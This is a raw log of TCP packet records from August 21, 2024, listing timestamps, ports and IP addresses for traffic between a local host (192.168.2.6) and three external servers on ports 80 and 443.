Aug 21, 2024 08:32:15.507337093 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.507406950 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.507436037 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.507517099 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.507528067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.507529020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.507530928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.507536888 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.507540941 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.507549047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.507559061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.507560968 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.507570028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.507586002 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.507605076 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.507621050 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.507621050 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.507631063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.507636070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.507671118 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.507710934 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.507757902 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.507831097 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.507886887 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.507919073 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.507972956 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.508182049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508188009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508198977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508239985 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.508323908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508330107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508341074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508347034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508352041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508382082 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.508394003 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.508413076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508449078 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.508450985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508457899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508507013 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.508533001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508546114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508548021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508553028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.508574963 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.508598089 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.508915901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509084940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509089947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509095907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509100914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509105921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509111881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509139061 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.509157896 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.509228945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509237051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509239912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509284019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.509284019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.509349108 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509398937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509404898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509417057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509444952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.509459019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.509485960 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.509670973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.509759903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.509766102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.509771109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.509777069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.509782076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.509788990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.509826899 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.509860039 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.510018110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510200024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510205984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510211945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510216951 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510222912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510227919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510256052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510265112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.510277033 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.510293007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.510329962 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.510335922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510348082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510353088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510363102 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.510379076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510381937 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.510389090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510390997 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.510395050 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.510411978 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.510412931 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.510417938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510425091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.510437965 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.510456085 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.510458946 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.510483980 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.510540009 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.510700941 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.510739088 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.510754108 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.510757923 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.510822058 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.510822058 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.510957956 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.511023998 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.511095047 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.511130095 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.511183023 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.511183023 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.511188030 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.511212111 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.511267900 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.511272907 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.511363983 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.511648893 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.511778116 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.513540983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513605118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513608932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513624907 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.513628960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513638020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513662100 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.513693094 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.513768911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513775110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513781071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513787031 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513792038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513825893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513827085 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.513848066 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.513848066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513854027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513859987 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513865948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.513866901 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.513890982 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.513912916 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.514069080 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514080048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514086962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514122009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514125109 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.514128923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514146090 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.514158010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514168978 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.514241934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514249086 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514255047 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514261007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514266014 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514271975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514301062 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.514333963 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.514369011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514380932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514420986 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.514522076 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514528036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514545918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514550924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514576912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514576912 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.514584064 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514590979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514595032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.514602900 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.514636040 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.514636040 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.515384912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515435934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515446901 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515491962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515496969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515500069 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.515503883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515511036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515527010 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.515537977 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515556097 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.515587091 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.515602112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515609980 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515619040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515652895 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.515686035 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.515701056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515707016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515712023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.515755892 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.516535044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.516572952 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.516585112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.516591072 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.516645908 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.516645908 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.516665936 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.516674042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.516686916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.516690969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.516714096 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.516742945 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.517436028 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.517441988 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.517455101 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.517501116 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.517524958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.517529011 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.517544031 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.517556906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.517591953 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.518352985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.518512011 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.519834995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.519840956 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.519851923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.519876003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.519881964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.519901037 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.519912004 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.519917965 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.519938946 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.519969940 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.519979954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.519985914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520030975 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.520054102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520061016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520071030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520076990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520081997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520104885 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.520126104 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.520129919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520137072 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520178080 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.520200968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520215034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520226002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520232916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520237923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520257950 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.520289898 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.520927906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520934105 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520940065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.520984888 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.521059990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521064997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521075964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521081924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521086931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521117926 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.521150112 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.521267891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521274090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521285057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521330118 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.521393061 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521399021 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521404982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521410942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.521445990 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.521480083 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.522428036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.522433996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.522439957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.522495031 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.522547007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.522552967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.522569895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.522609949 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.522641897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.522643089 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.522649050 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.522705078 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.522964954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.523001909 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.523006916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.523015022 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.523020983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.523042917 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.523049116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.523055077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.523056030 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.523094893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.523094893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.549849987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.549868107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.549875021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.549880028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.549885988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.549890995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.549896955 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.549902916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.549984932 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.549988985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.549997091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550002098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550008059 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550013065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550020933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550055027 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.550055027 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.550081015 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.550086021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550093889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550142050 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.550213099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550220013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550225019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550230026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550235033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550240993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550262928 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.550313950 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.550488949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550496101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550507069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.550512075 CEST	80	49720	147.45.44.104	192.168.2.6
